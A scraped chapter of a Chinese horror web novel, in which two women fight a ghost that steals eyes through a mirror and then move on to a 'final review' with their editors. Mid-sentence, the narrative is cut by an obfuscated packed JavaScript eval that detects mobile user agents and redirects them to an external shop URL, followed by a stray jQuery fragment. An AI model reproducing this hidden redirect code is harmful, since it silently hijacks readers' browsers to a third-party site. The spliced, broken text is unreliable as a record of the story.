文趣网 > 都市小说 > 全员“恶女”,绝命逃亡 > 54.新星出版社
    这么快?

    向宁心里有一股莫名其妙的别扭。

    说不上来是哪里不对劲,但是自打来到这里,她觉得浑身上下都难受极了,却找不到任何引发这种不适的来源。

    蒋艺涵掏出了一只长着四只眼睛的□□,背上冒着一串串黏腻的气泡,升起,又破灭。

    □□最上方的两只眼睛,突然眨了眨,一瞬间被拉得狭长。

    蒋艺涵来了精神,拿着那□□反复地瞧。

    “这就是鬼的眼睛吗?看起来还不错……”

    “你先把错误修正……”向宁背后冷汗淋淋,蒋艺涵现在处于人鬼不惧的状态,只要能让她的眼睛重回美丽,她不在乎面对的究竟是什么。

    但蒋艺涵的小镜子已经被她拿在了手上,此刻,她正找着角度将自己和鬼的眼睛框在镜子中。

    “等……”

    向宁只来得及说出一个字,蒋艺涵茫然回头。

    向宁看见,那张熟悉的脸上出现了一双陌生的眼睛。

    狭长、妖艳又风情万种。

    “向宁,这眼睛真不错啊……”

    蒋艺涵痴迷地摸着自己脸,手指小心翼翼地抚过眼睛的轮廓,沉浸在自己的新眼睛上无法自拔。

    向宁飞速拿起被她丢下的□□,猛地扔出了花园外。

    四周静悄悄的,只有微风刮过灌木丛的“簌簌”声,和蒋艺涵不时的惊叹。

    女鬼被换了眼睛会如何?

    向宁翻着花丛,想找出更多的异常动物。

    但好像,只有蒋艺涵能发现这种异常……

    向宁虽然被丢进了这次的审查,但负责复审的主要人员好像并不是她。能第一时间找到异常的是蒋艺涵,鬼第一个针对的也是蒋艺涵。

    可以说,这里简直像是为蒋艺涵专门打造的试炼场。

    可……

    向宁皱着眉头看着依然雀跃的蒋艺涵。

    她能顺利通过这场试炼吗?

    向宁想到自己负责的那个初审,好像也是刻意针对了她的身体素质。

    不知道为什么,她和纪舒闻的道具始终没有被灵异世界探查到,不像蒋艺涵她们的道具……

    道具……

    向宁像是想到了什么,朝着蒋艺涵大吼道:

    “换回去!蒋艺涵!鬼要通过你的道具和你交换身体!”

    就在蒋艺涵回头的瞬间,犀利的风声从身后传来,向宁一阵吃痛,被猛地拉向后方,重重地撞进了树干里。

    眼前黑蒙蒙的,并不算粗壮的树干让她动弹不得,只能透过几道微小的缝隙查看外面的景象。

    蒋艺涵听到她的话了吗?

    她喊得那么大声,很难听不到。但蒋艺涵真的不一定,她现在的状态并不正常。

    好在蒋艺涵发现了自己的突然消失,迅速冷静下来的她立刻在花园中四处翻找。

    向宁的嗓子像是被棉花堵住了一般,发不出声音,她只能看着蒋艺涵一步一步地朝着自己靠近,在附近的花丛中翻来覆去地找。

    “真是怪了,那么大一个人怎么突然不见了?”蒋艺涵距离向宁所在的树干越来越近了。

    “难不成在树上?”蒋艺涵跃跃欲试,想要爬上树干去找向宁。

    向宁本来已经将手放在脖子前,打算在蒋艺涵来到树干周围的一瞬间摆脱鬼对她声带的控制。可她在看见蒋艺涵之后,迟迟没能动手。

    蒋艺涵依旧在自说自话,甚至她的脚已经开始踩在了树干上。

    但她的眼睛却死死地盯着树干,盯着缝隙里的,向宁的眼睛,和她对视。

    那是鬼的眼睛。

    她知道自己在树干里。

    所以,向宁之所以被扔进树干,是因为她在提示蒋艺涵的时候,被这双眼睛看到了?

    如果是这样,这可真是一场针对蒋艺涵的杀局,但引子,却是向宁自己点燃的。

    向宁的手轻轻地覆盖在了喉间,嗓子里的异物感顿时消失。

    但她没有开口,她在等蒋艺涵离开。

    虽然眼睛是属于鬼的,但身体不是,大脑也不是。

    窸窸窣窣的爬树声很快来到了向宁的头顶。

    “我在树干里。”向宁庆幸蒋艺涵的耳朵还是她本人的,所以能听见她的声音。

    “你在树干里?”头上,疑惑的声音传来。

    随后,就是“嗡嗡”的电锯响。

    是这里的园艺工具,被蒋艺涵随手拿了过来当武器使用。

    没一会儿,向宁重新看见了日光,但蒋艺涵却茫然地看着自己,伸手朝前摸了摸。

    “你真在这里吗?我怎么看不见你?”

    那双恶毒的眼恶狠狠地盯着向宁,仿佛想要将她盯穿。

    向宁回了一个温婉的笑,打掉蒋艺涵伸过来的手,猛地扑向蒋艺涵,将她压在身下,双手死死地盖住了蒋艺涵的眼睛,怒声喝道:“滚出去!”

    “你骂我干什么!”

    蒋艺涵什么也看不见,她拼命地想反抗,但论身体素质,她和向宁不相上下,长时间的节食,让她168的身高下,只维持了40kg的体重。

    向宁轻而易举地压制住了她。

    直到手镯上的绿光暗淡,她才松开了手,看着气愤的蒋艺涵,从她的身上滑了下来。

    “你干嘛?”

    “你的眼睛变成了鬼的,所以她借用你的眼睛活了。”

    “那我的眼睛呢?”蒋艺涵慌忙拿出小镜子,看清自己的眼睛又恢复到了一开始的模样,她再次陷入了慌乱中。

    “没了,没了!又没了!”

    “这里就是针对你的镜子和你对美的执着而设立的局,你和鬼只能有一个离开这里,难道你想让鬼离开这里,你留下吗?”

    向宁坐在地上,看着撒泼打滚的蒋艺涵劝慰着。

    “不想。”

    蒋艺涵回答得倒是很坚决。

    “眼睛总会有的,但看起来,交换鬼的肯定是不行。”

    “那你的眼睛能给我吗?”

    “不能。”向宁同样坚决。

    “那我和死了有什么区别?”蒋艺涵闹腾着,眼里竟然湿润了起来,红彤彤的大眼睛,显得她比以往多了几分率真。

    “早死和晚死的区别吧。”向宁想了想,觉得一开始的方向并没有问题,“晚死,你还能有换回来的可能,早死,那就是丑丑的死掉了。”

    说完,向宁拍拍手,准备起身。

    她得尽快了。

    就算时间流速不同,但她们头上,仍有时间的限制,那条被隐藏起来的截止线,仍然像一把刀悬在她们的头上。

    但蒋艺涵起来得速度比她还快。

    她拍了拍衣服上的土,眼神坚定。

    “你说得对,我就算死,也得美美地死。”说罢,蒋艺涵回头,很认真地看了一眼向宁,“你顾好你自己,我要尽快出去了,可能照顾不到你。”

    向宁无奈地笑了笑,点了点头。

    蒋艺涵的小镜子在阳光的照射下,反射出了一道小小的光斑,一瞬间,向宁只觉得周

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17749545|206795||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    围景象大变。

    一个别具风味的宫廷式花园出现在了她的眼前,和一开始的自然风味更浓的小花园相比,眼前的幻象过于华丽,以至于让向宁久久没能别过视线。

    耳边,是蒋艺涵极度自信的声音:“反正我是审查人员,我所见之处都是正常合理的就行了。”

    话音刚落,机械的播报声又一次响起。

    “复审结束。”

    向宁又一次被扔进了洗衣机一样的旋转漩涡中,但脑袋里想的,全是蒋艺涵。

    不得不敬佩,蒋艺涵的自我欺骗,已经到达了一个出神入化的地步。

    所以,她才会如此执着于美丽吗?那她最深的执念,她想通过美丽获得的东西,到底是什么呢?

    “你们来了!”

    向宁和蒋艺涵被一起扔到了地面上。

    不像蒋艺涵那里的草坪。

    这里的水泥地又硬又冰,向宁已经习惯了被扔来扔去,熟练地起身,拍了拍衣服上的灰。

    “杨编辑,三审三校都是什么?”

    向宁看见杨编辑后,决定先问一下这个最重要的问题。

    杨编辑本想问向宁她们经历了什么,而她自己即将要面临的又会是什么。但听向宁这么说,还是简单地说明了一下三审三校。

    “三审分为初审、复审和终审。初审是对稿件的基本内容进行初查,看看主题、观点、结构、语言风格什么的,是否符合出版需求;复审就是在初审的基础上深入审查,更关注内容的准确度、逻辑和专业性;终审就是主编或者资深编辑进行总把关,确认内容合法合规、符合市场等。三校就是三次校对,主要检查文字、格式、排版等细节错误,最后由责编把关。”

    向宁想到了自己遇见的黑泥,和蒋艺涵那里的奇怪动物。

    如果鬼是一本书的话,那这些东西,应该就是她们需要清理掉的内容。

    那终审呢?

    她们会面临什么?

    “你们当编辑的还真累。”蒋艺涵抱怨了一句,摸了摸自己的头发。

    杨编辑无奈地笑了笑。

    “确实,手上的稿件量很大,有的时候也不会校对得那么细,很多时候,一较没校对,只是签了字,然后扔给了二校,二校也同样如此,最后把问题丢给了责编。”

    “您在之前的出版社担任责编?”向宁问道。

    “嗯,不过也不是次次都是我当责编。”杨编辑随口应付一句,转而问道:“那这次我们要面对什么?”

    向宁简单和杨编辑说了一下她们的经历,她们即将要面临的应该就是稿件的终审。

    “终审?”杨编辑回头看了一眼苍茫又阴沉的山林。

    一片一片的山一望无际,幽深的灰绿色覆盖了整座山脉,在阴沉沉的天气下,山脉被灰白色的雾霭环绕着,让人一眼生寒。

    这里的气压低得让人喘不过气,杨编辑抬头看了一眼暗沉的天,感觉这里随时都有可能迎来一场暴雨。

    “怎么了吗?”向宁上前一步。

    “没,只是觉得,如果是终审的话,应该要有主编在。我们这里,也没有资深编辑……不过这里是灵异世界,一切都不好说。”杨编辑回头,自嘲一笑。

    “如果你是说主编必须得在场的话……”向宁指了指自己身侧的玻璃窗,“他一直都在哦。”

    杨编辑定眼望去。

    乌蒙蒙的玻璃上猛地贴上了一张黄褐色的脸,庞主编露着他那被烟浸久了的黄牙,正贴着玻璃,对着她们三人,痴痴地笑着。